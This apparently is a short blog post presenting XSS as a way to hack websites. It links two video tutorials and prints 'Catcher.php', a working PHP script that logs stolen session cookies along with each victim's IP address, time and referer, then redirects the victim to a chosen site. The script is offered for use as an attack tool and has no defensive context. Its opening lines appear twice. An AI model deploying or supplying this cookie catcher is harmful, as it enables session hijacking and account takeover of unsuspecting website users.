i found these 2 videos on youtube
it explains how to hack a website using XSS (Cross Site Scripting)
Part1: http://www.youtube.com/watch?v=WZCXIrW0xZ0
Part2: http://www.youtube.com/watch?v=JBpG2fie_aA
Catcher.php
it explains how to hack a website using XSS (Cross Site Scripting)
Part1: http://www.youtube.com/watch?v=WZCXIrW0xZ0
Part2: http://www.youtube.com/watch?v=JBpG2fie_aA
Catcher.php
Code:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
header ("Location: <ENTER WEBSITE HERE>");
?>
<HTML></HTML>
0 comments:
Post a Comment